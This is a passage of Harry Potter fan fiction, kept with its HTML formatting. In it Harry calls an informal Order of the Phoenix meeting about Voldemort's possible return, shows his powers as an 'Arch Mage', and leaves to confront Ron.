grimaced. This was going to be tougher than he thought. Hermione didn&#8217;t\nrealize just how fragile his control was, and her constant innocent flirting\ncombined with her not so innocent comments were going to get them both in\ntrouble unless he did something about it and fast. Harry sat up and pulled his\nlegs in to sit in the classic meditation posture. He concentrated, and an image\nof Hermione formed in his mind. He placed his formless hand at the apex of her\nthighs, and a soft green glow traced the outline of her body. The glow\nintensified when it located her center, then it disappeared. Harry opened his\neyes and smiled. There, now she was protected. He wouldn&#8217;t be able to ruin\ntheir plans by jumping the gun. He could still remove the ward, but it would\ntake a clear head, and total control in order for that to happen, and those\nwere two things he did not have when he was excited. Satisfied with his work,\nHarry pulled back the covers and slid under them. He knew the next day was\ngoing to be hectic, but he would cross that bridge when he came to it.</p>\n\n<p class="MsoBodyTextIndent2">It was early the next morning when the sound of the\nshower running, and someone singing jerked Harry from a very restful sleep. He\nsat up very quickly, and the covers slid down his chest to bunch around his\nwaist. He sat there for a moment listening, and trying to get up the initiative\nto get out of bed. He was sorely tempted to go back to sleep, and it seemed\nlike such a good idea, that&#8217;s exactly what he did. He fell backwards, asleep\nagain before his head hit the pillow.</p>\n\n<p class="MsoBodyTextIndent2">Harry woke again some time later. He checked the\ndigital readout on his watch, and saw that is was past 8 A.M. He hopped out of\nbed, and dropped to the floor. He did 150 push-ups, then rolled over and did\n150 crunches. He flipped up onto his feet, pulled on his pants and headed for\nthe bathroom. He was surprised to discover that he wasn&#8217;t excited in the least,\nand put it from his mind as he went about his business. When he came out ten\nminutes later, Hermione was waiting for him.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Good morning!&#8221; she said brightly. &#8220;Sleep well?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah. You?&#8221; Harry sat down on the edge of his bed\nand pulled on a clean pair of socks.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Wonderful,&#8221; Hermione took a deep breath. &#8220;I feel\ninvigorated! I made breakfast if you&#8217;re hungry, and I took the liberty of\nmaking you a cup of coffee. It&#8217;s in the study.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;That&#8217;s great. Let me grab the trunk and I&#8217;ll meet\nyou there.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Okay!&#8221; Hermione fairly skipped from the room.</p>\n\n<p class="MsoBodyTextIndent2">&nbsp;&#8220;She sure\nis chipper this morning.&#8221; Harry stamped his feet into his boots, and went to\nhis closet. He took a small chest down from the shelf, and carried it to his\nstudy. He set the box down on his desk, and opened it. Inside was a tray\ncontaining quills, ink, rolls of parchment, and a large number of stamps\nbearing the image of a phoenix. A large phoenix was emblazoned across the\ninside of the lid as well. Harry lifted the tray out, and looked at the items\nunder it. A bundle of black cloth bore the red and gold phoenix symbol, and he\ntook it out and placed it on the desk beside the tray. It was the last item\nthat he wanted the most. A small medallion carved in the effigy of a phoenix\nrising from the flames. &#8220;I don&#8217;t think we should call everyone.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione frowned. &#8220;Are you sure?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah, just the basics.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You&#8217;re the boss.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry looked at Hermione and nodded. She walked up\nto him and placed her hands on the medallion as well. &#8220;We two of the honored\nfew, chosen to do battle with the darkness do call Sirius Black, Remus Lupin,\nMinerva McGonagall, William Weasley, and Severus Snape! By the oath that binds\nus and in the name of the phoenix, hear our call!&#8221; The medallion glowed bright\nred, and they could hear a phoenix song surrounding them. The warbling grew in\nintensity, and then faded away. They lowered their arms, and placed the\nmedallion back on the desk.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;How long will it take them to get here?&#8221; Hermione\nasked.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Not long. We have time to get ready, and that&#8217;s\nabout it.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Are we doing the robe thing?&#8221; Hermione frowned.</p>\n\n<p class="MsoBodyTextIndent2">Harry shook his head. &#8220;No. Very informal.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Will they know that?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Well, since this isn&#8217;t a prearranged meeting, they\nshould realize that it&#8217;s more urgent than routine.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Okay. I was just wondering, because every meeting\nI&#8217;ve been to was the formal affair.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;That&#8217;s right, I forgot that you started after I\ndid.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;It&#8217;s only thanks to you that Ron and I were\nallowed in anyway.&#8221; Hermione groused.</p>\n\n<p class="MsoBodyTextIndent2">Harry&#8217;s eyes widened. &#8220;Is that what you think? They\nalways intended for you to become a member, Dumbledore just thought it would be\nbetter if I asked you.&#8221; He paused and considered how much to tell her. &#8220;It was\nRon I had to fight for,&#8221; he said quietly. &#8220;It took a lot of talking on mine and\nBill&#8217;s part to get Dumbledore and McGonagall to reconsider him.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;m not surprised.&#8221; Hermione said. &#8220;Given his\nvolatility and carelessness, he would be considered quite a risk.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Thankfully he never gave me a reason to regret getting\nhim in the order, and I&#8217;d prefer to drop this topic because we&#8217;re going to need\nhis help to save Dumbledore. Besides, I have to open a passage so they can\nApparate in.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Alright. I&#8217;ll go prepare the tea. You do,&#8221; she\nwaved a hand as she left the room, &#8220;whatever it is you do.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry smiled, and placed all the items except the\nphoenix stamps back in the chest. He set it on the floor and pushed it under\nhis desk. Standing up, he walked around the desk and raised his hands in front\nof him. His eyes blazed, and the air crackled around him. Energy surrounded his\nhands, and he clapped them together loudly. The magic intensified, and he\nslowly drew his hands apart, lightning jumping between them. Harry continued\nspreading his arms until they were straight out to his sides, the lightning\nsurrounding his hands traveled down his arms and gathered at his chest.&nbsp; He bared his teeth in a wordless snarl, and\nhis entire body vibrated as he strained to shape a huge amount of energy into a\nlarge glowing orb. He grabbed the incandescent ball and shoved it away from\nhim. It expanded as it left his hands, and carved a hole through the barriers\nhe had constructed around his dwelling. Harry&#8217;s knees turned to jello, and he\ngrabbed the desk for support. &#8220;Whoa,&#8221; he breathed. His strength gone, he\ndropped to his knees. He heard running feet, and turned his head to see\nHermione skidding into the study.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;HARRY!&#8221; Hermione rushed to him. &#8220;Are you alright?\nWhat happened?&#8221; she asked, kneeling at his side.</p>\n\n<p class="MsoBodyTextIndent2">&nbsp;Harry\nrested his head on the desk and tried to gather his strength before speaking.\n&#8220;I hate that part.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry, what happened? Are you hurt?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;m okay,&#8221; he reassured her. &#8220;Help me up.&#8221; With\nHermione&#8217;s help, Harry rose to unsteady feet. &#8220;The chair,&#8221; he said weakly.</p>\n\n<p class="MsoBodyTextIndent2">Hermione nodded, and grabbed the chair from behind\nthe desk. She wheeled it to him, and he collapsed into it. She pushed him back\naround the desk, and sat on the edge, watching him with worried eyes. </p>\n\n<p class="MsoBodyTextIndent2">Harry picked up his coffee and took a shaky sip. He\nwas greatly annoyed at how much he was trembling, and set the cup down before\nhe dropped it. Hermione&#8217;s hovering, though welcome, didn&#8217;t help. Harry closed\nhis eyes and took several deep breaths. &#8220;Harry, tell me what happened!&#8221; she\ndemanded.</p>\n\n<p class="MsoBodyTextIndent2">&nbsp;Harry hated\nhow drained and irritable he felt when he had to use a large amount of his\npower. &#8220;Hermione, I&#8217;m fine!&#8221; he snapped. He saw the hurt in Hermione&#8217;s eyes,\nand was instantly sorry. He grabbed her hand before she could run away, and\npulled her down onto his lap. &#8220;I&#8217;m sorry.&#8221; He said quickly. &#8220;I didn&#8217;t mean it.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry, what happened?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry leaned his head back and closed his eyes. &#8220;If\nI use too much power, it drains me.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione frowned. &#8220;It drains your power?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;No. The power drains my stamina and physical\nstrength to replenish itself. I&#8217;ve learned that the better the shape I&#8217;m in,\nthe quicker it replenishes, and the easier it is on me.&#8221; He opened his eyes and\nlooked at her. &#8220;But, if I use more than I should&#8230;&#8221; he trailed off.</p>\n\n<p class="MsoBodyTextIndent2">Hermione&#8217;s eyes grew wide. &#8220;Harry! You could die if\nyou use too much couldn&#8217;t you?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yes.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Can you sense when you&#8217;re using too much?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Sort of. If I have to strain a lot to control it,\nthen I can pretty much assume that it&#8217;s going to be a rough recovery.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You said that the better the shape you&#8217;re in, the\neasier it is on you, right?&#8221; Hermione had a gleam in her eye.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;The more physical strength, stamina, and endurance\nthere is for it to draw from, the quicker it replenishes, and it doesn&#8217;t drain\nme as much. Why?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione caressed his chest. &#8220;That just means we&#8217;ll\nhave to get you in better shape.&#8221; She squeezed his pectoral muscles. &#8220;Now I\nknow where these came from.&#8221; </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Huh? Oh!&#8221; Harry blushed. &#8220;Yeah,\nwell&#8230;uhm...Hermione, I don&#8217;t think we should start that again.&#8221; He waved a hand\ntoward the center of the room. &#8220;Our guests will be arriving any moment now.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione hopped off his lap. &#8220;Alright, I&#8217;ll go get\nthe tea. They should be here by then, right?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry nodded. &#8220;Yeah.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Okay, be right back.&#8221; Hermione left the room.</p>\n\n<p class="MsoBodyTextIndent2">Harry sighed. He hoped the Order would be able to\ntake some of the load off his shoulders, he had enough to deal with without\nworrying about a dead man coming back to make his life Hell once again. He was\nmusing about his laundry list of problems when the first member Apparated into\nthe study. It was Sirius Black.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry? What are you doing calling a meeting of the\nOrder?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hey Sirius. I&#8217;m only going to explain this once.&#8221;\nHarry waved a hand, and six very comfortable chairs appeared. Three in front of\nhis desk, one on each end, and the sixth was right beside his. &#8220;So have a seat\nand wait for the rest to arrive,&#8221; he said, indicating the chair at the right\nhand side of his desk. Hermione came in bearing a tray loaded down with tea and\nscones. She set it down, and took the chair right beside him.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hello Sirius.&#8221; She said.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hey Hermione,&#8221; Sirius smiled in greeting, and sat\ndown in the chair Harry had indicated. He leaned over and whispered\nconspiratorially. &#8220;I&#8217;d ask what&#8217;s going on, but I&#8217;m supposed to wait for\neverybody else.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione giggled and whispered back. &#8220;Harry told me\nyou&#8217;re engaged to Athena, congratulations! I&#8217;m so happy for you.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Thanks.&#8221; Sirius reached for a cup and poured\nhimself some tea. &#8220;Harry told me you&#8217;re going to write a revised edition of <u>Hogwarts:\nA History.</u> I always knew you would someday. Way to go!&#8221;<i></i></p>\n\n<p class="MsoBodyTextIndent2">Harry ignored their talking, instead focusing his\npower inward to help regain his strength. Luckily, it didn&#8217;t drain him to use\nit in small increments. It was only when he really charged up that it weakened\nhim. He felt his strength return in full, and even a little more than he had\nbefore. This wasn&#8217;t the first time that he had felt his strength increase after\nbeing drained, and he wasn&#8217;t sure how to deal with it. But, since he felt much\nbetter he didn&#8217;t dwell on it. He took a sip of his coffee and leaned back in\nhis chair and waited. A few seconds later the second member arrived. It was\nRemus Lupin.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry? Sirius? Hermione?&#8221; Remus had a confused\nlook on his face. &#8220;Who called this meeting?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry.&#8221; Sirius said. He patted the chair next to\nhim. &#8220;Have a seat Moony. He won&#8217;t talk until everybody gets here.&#8221; </p>\n\n<p class="MsoBodyTextIndent2">Remus sat down and grabbed a scone to munch on. &#8220;\nHarry, Hermione.&#8221; He nodded in greeting. </p>\n\n<p class="MsoBodyTextIndent2">Harry was happy to see that his father&#8217;s old friend\nhad happened onto much better times since the last time he had seen him. The\nlycanthrope&#8217;s robes were brand new, and he seemed to be in very good health.\n&#8220;Hey Professor.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Professor.&#8221; Hermione echoed.</p>\n\n<p class="MsoBodyTextIndent2">Remus flinched. &#8220;Guys, you don&#8217;t have to call me\n&#8220;Professor&#8221; anymore. Remus is fine, or even Moony.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry and Hermione were saved from answering by the\narrival of Minerva McGonagall and Bill Weasley.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Please save any questions until everyone has\narrived.&#8221; Harry said. He rose to meet Professor McGonagall. &#8220;A pleasure to see\nyou again Professor.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Mr. Potter. Professors.&#8221; McGonagall nodded,\nindicating Sirius, Remus, and Hermione.&nbsp;\n</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hey Bill.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hiya Harry.&#8221; Bill sat down next to Lupin, and\nMcGonagall took the last seat in front of the desk. Harry was glad that his\nseating arrangement had worked out, with Hermione right beside him, and Sirius\non her right, and Lupin next to him, and Bill between Lupin and McGonagall,\nthat left the left hand chair for Snape. Harry knew the animosity between Snape\nand Black, and wasn&#8217;t taking any chances. He barely had time to set back down\nbefore Snape arrived.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Potter! By what authority do you call this\nmeeting?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Sit down Severus!&#8221; Sirius ordered, and Harry\ngroaned. Black looked like he was ready to leap across Lupin and Weasley to get\nto the Potions Master.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Greetings Professor,&#8221; Harry said politely, cutting\na sideways glance at Black. He saw Hermione put her hand on Sirius&#8217; forearm,\nand whisper something. Whatever it was, the man leaned back in his chair.\n&#8220;Please have a seat, and we&#8217;ll get started,&#8221; Harry said, with a hint of steel\nin his voice. Snape glowered, and pulled his chair further away from the desk.\nHarry took a deep breath, and fought to keep his temper in check.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;First off, I want to thank you all for coming. I\nknow this is an unscheduled meeting, and several members are absent, and I will\naddress that in a moment.&#8221; He held up his hands to signal that he wasn&#8217;t\nfinished yet. &#8220;Please save your questions until after I&#8217;m finished.&#8221; Harry took\na deep breath and let it out slowly. &#8220;We have a situation that warrants the\nOrder&#8217;s attention. Last night, after dinner Hermione and I were the recipients\nof a message. I cannot show you this message, because it was written in Mage.&#8221;\nHe paused to allow his audience to grasp the magnitude of that statement.\n&#8220;There have been only two Mages in recent history, Dumbledore and Voldemort.\nThis message was from the latter. Now, before you all start saying he&#8217;s dead,\nhe can&#8217;t leave a message, I want you to know that this message was a tracer. I\nhave no idea when I picked it up, or when it was created. All I can tell you is\nthat it activated last night, and my scar burst open. Not only that, but my\neyesight has deteriorated back to like it was when Voldemort was alive.&#8221; Harry\ntook a sip of coffee and made eye contact with each of his listeners. They were\nall paying rapt attention like he knew they would.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;This message could not come at a worse time. I&#8217;m\nsure you all know that Professor Dumbledore is ill, right?&#8221; Everyone nodded,\nand Harry continued. &#8220;He is not sick however. He is dying, a very slow, very\npainful death. Hermione and I have been working on finding the cure, but the\nbook that houses the spell disappeared six hundred years ago, and we have only\na vague name to go on. However, that is our task. Your tasks are as follows.\nSirius, you have friends in the animal kingdom that can keep an eye and ear\nout, I want you to talk to them and see what they&#8217;ve heard. Remus, you&#8217;re the\nDADA at Hogwarts, it&#8217;s your job to be prepared for the worst. Professor,&#8221; he looked\nat McGonagall, &#8220;you run Hogwarts now, it&#8217;s only right that you know what&#8217;s\ngoing on.&#8221; Harry paused again and looked at Snape and Weasley. &#8220;You two are\nmore difficult. Professor Snape, you&#8217;re the head of Slytherin House, and you\nstill know the families that were followers of Voldemort. I leave it up to you\nto deal with the covert surveillance, and intelligence gathering.&#8221; Snape seemed\nshocked, but hid it well. &#8220;Now, when I think Voldemort, I automatically think\n&#8220;Malfoy,&#8221; but Hermione tells me that Draco has reformed. I&#8217;m sure you all\naren&#8217;t surprised when I say I don&#8217;t believe it for a second. That&#8217;s where you\ncome in Bill.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Me?&#8221; </p>\n\n<p class="MsoBodyTextIndent2">&#8220;I hate to say it like this, but you&#8217;re the only\nWeasley I trust with this assignment. Ron hasn&#8217;t responded to any of my owls in\nmonths, and your mother and father don&#8217;t need this worry.&#8221; He paused again. He\nhated what he was going to say next, but the man needed to know everything.\n&#8220;Bill, Ginny has been dating Draco, and Hermione says that Ginny told her he\nproposed. I don&#8217;t want you to arouse her suspicions, so be subtle. If she\nthinks you&#8217;re investigating Draco for any reason other than a big brother&#8217;s\nconcern for his sister, she&#8217;ll clam up. Also, and this is very hard for me to\nsay, Voldemort told me right before he died that a baby would be his way back\nto this world. I hate to think that Malfoy may be using Ginny to create a body\nfor Voldemort, and I know that you do too. See what you can find out. Any\nquestions?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Not surprising, there were many. Sirius raised his\nhand. &#8220;Harry, I thought you killed Voldemort for good.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry sighed. &#8220;I knew this would come up. Hang on.&#8221;\nHe turned to Hermione. &#8220;Would you go get the sword?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Sure.&#8221; Hermione hopped up and left the room. She\ncame back a few minutes later holding Excalibur. She laid the sword on the desk\nand took her seat.</p>\n\n<p class="MsoBodyTextIndent2">Harry stood up and pulled the gleaming blade from\nits scabbard. &#8220;This is Excalibur. In my seventh year at Hogwarts, Professor\nDumbledore told me that if Voldemort got his hands on this weapon he would be\nunstoppable. Needless to say, Hermione, Ron and I spent a lot of time in the\nlibrary searching for its whereabouts. I don&#8217;t know how Dumbledore knew the\nthings he did, but when we found the clues, he transported us to where the\nsword was hidden. He assured me that it would destroy Voldemort for good.\nUnfortunately, Voldemort found a way to circumvent destruction once again. The\nsword&#8217;s enchanted blade wiped out his physical body, and his spiritual one. But\nsomehow, he found a way to survive on another plane of existence.&#8221; Harry laid\nthe sword down and stopped talking, because of the uproar at his words.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Wait a minute! How can he be dead physically, dead\nspiritually, and still be a threat?&#8221; Sirius was of course the loudest.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;There exist another plane beyond those we know.\nOnly Mages acquire the ability to travel the Astral plane.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Astral plane?&#8221; Hermione frowned. &#8220;I&#8217;ve never read\nabout that.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Nor have I, and how do you know of these things\nPotter? You&#8217;re no Mage!&#8221; Snape growled.</p>\n\n<p class="MsoBodyTextIndent2">Harry felt his temper struggling to break free, and\nshut his eyes to force it back. &#8220;No Professor, I&#8217;m no Mage.&#8221; He opened his\neyes, and they glowed a bright iridescent green. &#8220;I&#8217;m an Arch Mage.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Mr. Potter, that is quite impossible.&#8221; McGonagall\nspoke up. &#8220;It takes years to learn the discipline to be an Adept, and decades\nto progress to Mage level magic. You are far too young to have those\nabilities.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah, I know. I heard all this from Hermione when\nI first told her. Why do you think Voldemort was after me the night my parents\ndied Professor?&#8221; Harry pinned McGonagall with an intense look.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;He wasn&#8217;t after just you Potter! He was after your\nentire family.&#8221; Snape cut in.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Bzzzt! Wrong!&#8221; Harry snorted. &#8220;I&#8217;ve had to relive\nthat night a thousand times over, and Voldemort told my mother to get out of\nthe way and he would let her live. He wanted ME! And why you ask? Because he\nknew what I was, somehow he sensed it. Just like Dumbledore knew there was\nsomething about me, why else would he allow a first year student to take on the\nDark Lord? I could sense Voldemort ever since I first came to Hogwarts, and now\nthat sense has gotten more powerful. I can tell that he isn&#8217;t in the right\nplane. Somehow, he managed to reach the Astral plane before he died, and he&#8217;s\nthere now. Waiting for his followers to provide him with an infant body to\ninhabit.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;This is absurd! You can&#8217;t expect us to take your\nword that you&#8217;re an Arch Mage Potter! None of us have seen anyone more powerful\nthan Dumbledore or Voldemort, and they were as you say, Mages.&#8221; Snape sniffed.</p>\n\n<p class="MsoBodyTextIndent2">Harry inspected his fingernails. &#8220;You don&#8217;t believe\nme?&#8221; He looked around, and they all shook their heads, except for Hermione.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I believe you Harry.&#8221; She said.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Big surprise there.&#8221; Snape hissed.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Okay, you asked for it.&#8221; Harry spread his legs\nwide, and called upon the power within him. The air around him crackled with\nstatic electricity, wind blew his hair back, and his eyes blazed. A blinding\ngreen glow surrounded him, and lightning crackled at his fingertips. He slowly rose\noff the floor, and the lightning traveled up and down his body. He threw his\narms out sideways, and the entire room shook and filled with a howling wind. He\nlooked down at his guests to see that they had all left their seats and were\nhuddled next to the chairs, all except Hermione. She still sat in her chair,\ndrinking her tea, and smiling. Harry figured his demonstration was a success,\nand slowly stopped the wind, and lowered himself back down. The glow around him\nfaded, and the lightning disappeared. He placed his fists on the desk and\nsmiled. &#8220;Believe me now?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Sirius raised his head and peeked over the desk\nedge. &#8220;Remind me not to make you mad.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Remus resumed his seat and grinned. &#8220;I&#8217;ll second\nthat.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Bill was practically bouncing up and down. &#8220;That\nwas awesome!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">McGonagall tried to contain a grin. &#8220;I&#8217;m afraid\nI&#8217;ll have to concur with Mr. Weasley.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Quite the theatrics Potter. But you convinced me.&#8221;\nSnape was deadpan, but his voice shook just a bit.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Rest assured people. If Voldemort does find a way\nback, I will introduce him to my full power. I&#8217;ve been practicing something I\nsaw on television in America, and I&#8217;m positive that if I use enough power, I&#8217;ll\nkill his physical, spiritual, astral, and any other forms he may take.&#8221; Harry\nslammed his fist on the desk hard enough that he heard the wood crack. &#8220;I am\nthrough playing games with this sonofabitch! Find out what&#8217;s going on. Take\nthese.&#8221; He grabbed the phoenix stamps and passed them around. &#8220;You all know how\nthey work.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Alright Harry.&#8221; Sirius shook Harry&#8217;s hand, and\ngave Hermione a hug. &#8220;I&#8217;ll let you know the moment I hear anything.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;ll keep an eye open around school.&#8221; Remus too\ngave a handshake and a hug.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;ll see what I can find out from Gin, and let you\nknow. Take care everybody.&#8221; Bill refrained from the hugging, but gave\nhandshakes.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I shall take care of my duties Potter.&#8221; Snape\nfolded his arms, and gave everyone a look that dared them to offer to shake.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I guess that&#8217;s it then. Meeting adjourned.&#8221; Harry\nsaid, and everyone except McGonagall disappeared.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You say this book disappeared six hundred years\nago Mr. Potter?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yes Professor.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hmmm. I wonder if Nicolas Flamel had anything to\ndo with that. He was notorious for acquiring rare books. A pity you can&#8217;t ask\nhim if it&#8217;s in his collection.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;His collection?&#8221; Harry and Hermione spoke at the\nsame time and then looked at each other. &#8220;Of course!&#8221; Hermione cried. &#8220;Nicolas\nFlamel would have been around back then, and would be the most likely culprit\nto have that book. Especially since it contained Ancient magic that may have\nhelped him create the Sorcerer&#8217;s Stone.&#8221; Hermione smacked her forehead. &#8220;I\ncan&#8217;t believe I forgot about Nicolas Flamel!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Don&#8217;t worry about it Hermione.&#8221; Harry said. He\nlooked at McGonagall. &#8220;Professor, do you know where Flamel&#8217;s collection is?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;No, but Professor Dumbledore might. He and Flamel\nwere very close friends.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Professor Dumbledore can&#8217;t talk, can&#8217;t hear, can&#8217;t\nsee, and is barely alive, how can we ask him?&#8221; Hermione said.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I don&#8217;t know Hermione, but perhaps his pensieve might\nbe of use. Albus was mentioned in Flamel&#8217;s will, and may have put something\nregarding that in the pensieve.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;It won&#8217;t hurt to try Hermione. We&#8217;ve checked all\nthe books here, and most of those at the library.&#8221; Harry said, noticing the\nskeptical look on Hermione&#8217;s face.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Where is the pensieve Professor?&#8221; Hermione asked.</p>\n\n<p class="MsoBodyTextIndent2">McGonagall drummed her fingers on the desk. &#8220;The\nlast time I saw it, it was in the Headmaster&#8217;s office. It should still be\nthere, unless Albus took it with him.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Okay, Hermione you go with the professor and get\nthe pensieve.&#8221; Harry&#8217;s expression darkened. &#8220;I&#8217;ve got some things to do.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione looked at Harry, then at McGonagall. &#8220;You\ngo ahead without me Professor, I&#8217;ll meet you at your office.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Alright Hermione.&#8221; McGonagall gave Harry a long\nlook. &#8220;It&#8217;s nice to know that you&#8217;re trying to help Albus Harry. I do hope you\nsucceed.&#8221; </p>\n\n<p class="MsoBodyTextIndent2">Hermione waited until the Headmistress was gone,\nthen she fixed Harry with a worried eye. &#8220;What&#8217;s wrong Harry?&#8221; </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Nothing. I just have to go see a man about a rat.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione&#8217;s eyes went wide. &#8220;Harry, you&#8217;re not going\nto see Ron are you?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah, I am.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry no!&#8221; Hermione grabbed a hold of his arm.\n&#8220;You know how hot headed he is. Let him come to you.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;No. He&#8217;s been avoiding me for quite some time now.\nI want to know why.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione sighed in resignation. &#8220;I can&#8217;t talk you\nout of this can I?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;No. You can do me a favor though.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;What&#8217;s that?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;When you go to the Hogwarts, put the books back\nwhere they belong. It&#8217;s just a simple levitation spell, and they&#8217;ll become\nvisible once they get within four feet of you.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;ll take care of it Harry.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Thanks.&#8221; Harry leaned in and gave her a quick\nkiss. &#8220;I&#8217;ll see you later.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Are you bringing him back with you?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I don&#8217;t know. I hope so, because going on a quest\nwithout him feels wrong.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I know.&#8221; Hermione said. &#8220;I just want you to be\ncareful, remember his temper.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Oh I will.&#8221; Harry promised, striding from the\nroom. He grabbed his cape, fastened it around his neck, and disappeared. He\ncouldn&#8217;t have explained how he knew where Ron lived, he just thought about his\nfriend and suddenly he was there. He reappeared in a very posh apartment. Harry\nlooked around in admiration. It seemed that Ron had decided to combine the best\nthat money could buy of both the Muggle and Wizard worlds. A huge TV dominated\none wall, while a surround sound stereo system occupied another. A large\ndisplay case sat in a corner, and inside illuminated from several angles, sat\nRon&#8217;s Most Valuable Player award. 